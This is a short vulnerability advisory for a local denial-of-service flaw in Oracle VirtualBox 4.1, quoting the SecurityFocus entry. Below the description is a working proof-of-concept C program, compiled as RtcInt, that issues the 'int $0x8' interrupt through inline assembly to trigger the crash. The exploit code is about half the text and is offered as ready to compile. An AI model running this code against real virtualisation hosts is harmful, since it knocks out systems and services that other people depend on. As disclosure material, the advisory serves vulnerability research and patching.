VirtualBox 4.1 Local Denial of Service Vulnerability

Source: http://www.securityfocus.com/bid/55471/info

Oracle VM VirtualBox is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause denial-of-service conditions.


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 *  Compile: gcc -o RtcInt RtcInt.c
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 */
int main(int argc, char **argv) {
  asm (
    "int $0x8;"
    : // output: none
    : // input: none
    :"%eax", "%ebx", "%ecx", "%edx"   // clobbered register
  );
  return(0);
}